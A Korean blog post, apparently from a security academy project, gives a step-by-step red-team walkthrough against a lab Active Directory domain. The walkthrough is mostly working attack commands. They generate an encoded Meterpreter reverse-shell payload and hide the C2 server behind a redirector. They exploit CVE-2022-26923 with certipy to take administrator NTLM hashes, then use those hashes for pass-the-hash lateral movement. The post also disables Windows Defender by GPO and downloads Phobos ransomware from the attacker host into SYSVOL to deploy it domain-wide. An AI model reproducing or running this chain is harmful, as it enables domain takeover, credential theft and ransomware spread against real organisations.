일 | 월 | 화 | 수 | 목 | 금 | 토 |
---|---|---|---|---|---|---|
1 | 2 | 3 | 4 | 5 | ||
6 | 7 | 8 | 9 | 10 | 11 | 12 |
13 | 14 | 15 | 16 | 17 | 18 | 19 |
20 | 21 | 22 | 23 | 24 | 25 | 26 |
27 | 28 | 29 | 30 |
- cve-2022-26923
- 정보기
- 논문리뷰
- 뮤텍스
- dll side-loading
- malware
- 코드엔진
- 프로그래머스
- race condition
- 디지털 포렌식 트랙
- CodeEngn
- DLL 사이드로딩
- bob
- Best of the Best
- 정보보안기사
- BoB 12기 최종합격 후기
- h4ckinggame
- 필기
- 디지털 포렌식 전문가 2급
- 세마포어
- BoB 12기
- 리버싱
- 디포전
- Active Directory
- cve-2024-6387
- 디포전 2급
- Today
- Total
SEO
CVE-2022-26923 기반 Active Directory 공격 실습 - 펜테스팅 본문
본 시나리오와 실습은 금융보안아카데미 내 금붕어 아카데미 팀 프로젝트에서 진행하였습니다.
시나리오 기반 펜테스팅
1. 공격 준비
msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai 0i 5 -b '\x00' LHOST=[리다이렉터 IP] LPORT=80 -f exe > payload.exe
리버스 쉘을 연결하는 Meterpreter 백도어를 생성하였습니다.
ssh -i goldfish-redteam ubuntu@[EC2 IP] -R [EC2 아웃바운드 포트 번호]:127.0.0.1:[KALI 인바운드 포트 번호]
HTTP 리다이렉터(EC2)의 2222 포트로 나가는 트래픽을 칼리의 4321 포트 전송합니다.
sudo socat tcp-listen:80,reuseaddr,fork,bind=0.0.0.0 tcp:127.0.0.1:[EC2 아웃바운드 포트 번호]
EC2에서 80으로 들어오는 트래픽을 자신의 2222 포트로 전송합니다.
위 과정을 거치는 트래픽을 순서대로 표시하면 아래와 같습니다.
- EC2의 80으로 들어오는 트래픽(meterpreter)을 EC2의 2222 포트로 내보낸다.
- EC2의 2222 포트로 나가는 트래픽을 칼리의 4321 포트로 전송한다.
이러한 원리(?)로 리다이렉터리가 중간 경유지 역할을 하며 C2 서버를 로컬에 숨기면서 피해자와 통신할 수 있는 환경이 구축됩니다.
msfconsole
use exploit/multi/handler
set PAYLOAD windows/meterpreter/reverse_tcp
set LHOST 0.0.0.0 #어떤 인터페이스에서든 들어오는 트래픽을 수신할 수 있게 허용
set LPORT [KALI 인바운드 포트 번호]
set ExitOnSession false #세션이 생성되더라도 현재 실행 중인 핸들러 종료 X
run
Meterpreter 리스너 설정을 하고 세션 연결을 기다립니다.
2. 피해자 환경과 통신 연결 및 정보 수집
피해자 PC에서 Meterpreter를 실행시켜 세션이 연결되었습니다.
show sessions
현재 연결된 세션 정보를 확인하면, FSI라는 도메인의 faper라는 사용자 계정, CWIN10이라는 컴퓨터 이름의 세션이 연결되었습니다.
sessions -i [세션 번호]
위에서 확인한 meterpreter 세션에 연결합니다.
ps -S explorer.exe
migrate [PID]
Meterpreter 악성코드의 은닉을 위해 현재 프로세스(PID 5168)를 explorer.exe 프로세스로 마이그레이션을 합니다.
load powershell
powershell_execute "$env:LOGONSERVER"
현재 감염된 PC가 AD 환경인지 확인하기 위해 로그온 서버를 확인합니다.
DC01 이라는 AD DC를 통해 도메인 인증을 받고 있는 것을 확인할 수 있습니다.
shell
certutil -config - -ping
도메인 내에서 Certificate Services가 활성화되어있는지 확인하였습니다.
certutil -template
사용 가능한 인증서 템플릿과 각 템플릿에 대한 권한을 확인하였습니다. 이 중 ClientAuth, EFS 등 기본적인 템플릿에 대해서 일반 도메인 사용자도 인증서 발급 요청을 할 수 있게 정책이 설정되어있는 것을 확인할 수 있습니다.
위 과정에서 취약하게 설정된 정책과 CA 활성화 등의 기본 정보를 획득할 수 있었고, 이를 바탕으로 아래 과정에서 CVE-2022-26923 취약점에 대해서 실제로 취약한지 검증하게 됩니다.
3. CVE-2022-26923 익스플로잇
쉘을 나간 이후
cd "C:\Users\faper\AppData\Local\Temp"
upload "/home/kali/goldfish/tools/Powermad.ps1"
Powermad.ps1 스크립트를 클라이언트 PC로 옮겼습니다.
Powermad.ps1 스크립트는 Machine Account를 생성하는 데 사용하였습니다.
이 과정도 proxychains를 이용해 대체 가능하지만 조금 더 많은 아티팩트를 남기기 위해 스크립트도 대체하였습니다.
shell
ipconfig /all
앞에서도 Meterpreter 세션 값을 통해 확인하였지만, Host Name이 cwin10이며, 10.0.2.102 IP 주소를 할당받은 것을 확인할 수 있습니다.
powershell_execute "Import-Module ./Powermad.ps1" (tmp/tools 폴더에서 실행)
powershell_execute "New-MachineAccount -MachineAccount "[계정 이름]" -Password $(ConvertTo-SecureString "[새로운 계정의 비밀번호]" -AsPlainText -Force) -Domain "[현재 AD 도메인]""
powershell_execute "Get-ADComputer [계정 이름] -Properties dnsHostName,servicePrincipalName"
스크립트를 이용해 TestComputer라는 가상의 컴퓨터 계정을 확인하였습니다.
powershell_execute "Set-ADComputer [계정 이름] -ServicePrincipalName @{}"
powershell_execute "Set-ADComputer [계정 이름] -DNSHostName "[DC의 DNSHostName]""
powershell_execute "Get-ADComputer [계정 이름] -Properties dnsHostName,servicePrincipalName"
SPN 충돌을 방지하기 위해 SPN을 삭제하고, DNSHostName을 DC의 DNSHostName으로 변경하였습니다. (취약점 발생 조건)
shell
certutil -dump -v
CA 인증서 이름을 확인하였습니다.
쉘을 나간 후
background
use auxiliary/server/socks_proxy
set VERSION 4a
set SRVHOST 127.0.0.1
set SRVPORT 1080
run
socks proxy 서버를 설정합니다. 포트 번호는 etc/proxychains4.conf 에 추가한 번호를 사용하였습니다.
proxychains certipy-ad req -u '[계정 이름]$@fsi.local' -p '[비밀번호]' -ca fsi-DC01-CA -template Machine -target dc01.fsi.local -dc-ip 10.0.2.10 -dns [계정 이름].fsi.local
proxychains certipy-ad auth -pfx dc01.pfx -dc-ip 10.0.2.10
방금 세션을 background로 돌렸기 때문에 현재 전송하는 명령어가 해당 세션에 적용됩니다.
위 과정을 통해 CVE-2022-26923을 익스플로잇하였고, DC의 CA 인증서를 발급받아 Administrator 그룹의 NTLM 해시 값(aad3b435b51404eeaad3b435b51404ee:db84241ce0a16ebea541df0645576557)을 얻을 수 있었습니다.
이러한 proxychains은 다음과 같은 통신 과정을 거쳐 명령을 실행하게 합니다.
[로컬 도구] -> [SOCKS 프록시:1080] -> [Meterpreter 터널] -> [리다이렉터] -> [내부망/DC]
4. Pass-The-Hash를 이용한 측면이동과 최종 랜섬웨어 유포
proxychains impacket-secretsdump -hashes [NTLM 해시 값] dc01\$@[DC IP]
탈취한 DC의 NTLM 해시로 impacket을 이용해 전체 계정의 해시 값을 덤프할 수 있습니다.
이를 통해 Admin 그룹 외에도 다른 계정들의 NTLM 해시 값을 수집할 수 있습니다.
proxychains impacket-wmiexec -shell-type powershell -hashes aad3b435b51404eeaad3b435b51404ee:4d8594f6ffb7a44179f920fd5b355fd7 Administrator@10.0.2.10
알아낸 Admin 그룹의 해시 값으로 Pass-The-Hash 공격을 수행하여 DC의 파워쉘을 실행시킬 수 있습니다.
이를 통해 도메인 내 일반 PC에서 DC로 측면 이동을 수행하였습니다.
proxychains impacket-psexec -hashes [NTLM 해시 값] Administrator@[DC IP]
psexec로 cmd를 이용한 측면 이동을 수행할 수도 있습니다.
New-GPO -Name "[정책 이름]" -Domain "fsi.local"
Set-GPRegistryValue -Name "[정책 이름]" -Key "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender" -ValueName "DisableAntiSpyware" -Type Dword -Value 1
New-GPLink -Name "[정책 이름]" -Target "OU=Domain Controllers,DC=fsi,DC=local"
gpupdate /force
레지스트리를 수정하여 Windows Defenders를 비활성화시키고, 도메인 전체에 해당 변경 사항을 배포하였습니다.
번외)
피해자 PC에서 랜섬웨어 다운로드를 위해 잠시 8000번 포트로 http 서버를 열어줍니다. (모든 트래픽 인바운드 허용을 했는데도, 특정 트래픽을 못잡아서 8000번 포트만 0.0.0.0 포트를 열어두었습니다. 실습 시에만 python 서버를 열었다가 실습 후에는 바로 꺼주세요. 채굴기 설치될 수도 있습니다…)
(다시 DC 파워쉘에서)
curl.exe "http://[EC2 IP]:8000/phobos.exe" -o "\\fsi.local\SYSVOL\fsi.local\scripts\phobos.exe"
공격자 C2에서 phobos 랜섬웨어를 SYSVOL 공유 폴더에 다운로드합니다.
New-GPO -Name "[정책 이름]" -Domain "fsi.local"
Set-GPRegistryValue -Name "[정책 이름]" -Key "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" -ValueName "Phobos" -Type String -Value "\\fsi.local\SYSVOL\fsi.local\scripts\phobos.exe"
New-GPLink -Name "[정책 이름]" -Target "OU=Domain Controllers,DC=fsi,DC=local"
gpresult /r
도메인 내 모든 컴퓨터 Run 레지스트리 키에 phobos 랜섬웨어를 등록하여 재부팅 시에 랜섬웨어가 실행되도록 합니다.
New-GPO -Name "[정책 이름]" -Domain "fsi.local"
Set-GPRegistryValue -Name "[정책 이름]" -Key "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" -ValueName "Phobos" -Type String -Value "\\fsi.local\SYSVOL\fsi.local\scripts\phobos.exe"
New-GPLink -Name "[정책 이름]" -Target "OU=Domain Controllers,DC=fsi,DC=local"
gpresult /r
컴퓨터를 재실행시키면 phobos 랜섬웨어가 fsi.local 도메인 내에 존재하는 모든 PC에 배포됩니다.
이렇게 시나리오 기반 펜테스팅을 모두 마쳤습니다.
다음 포스팅은 각 공격 기법 관련 개념/방어 방법을 작성해보겠습니다!!
'Security > RedTeam' 카테고리의 다른 글
CVE-2022-26923 기반 Active Directory 공격 실습 - 문제 해결 과정 (0) | 2025.03.11 |
---|---|
레드팀 인프라 작동 방식 및 Metasploit Framework (1) | 2024.12.18 |
[레드팀 인프라 구축] 구축에 사용되는 AWS 서비스들을 알아보자! (0) | 2024.11.28 |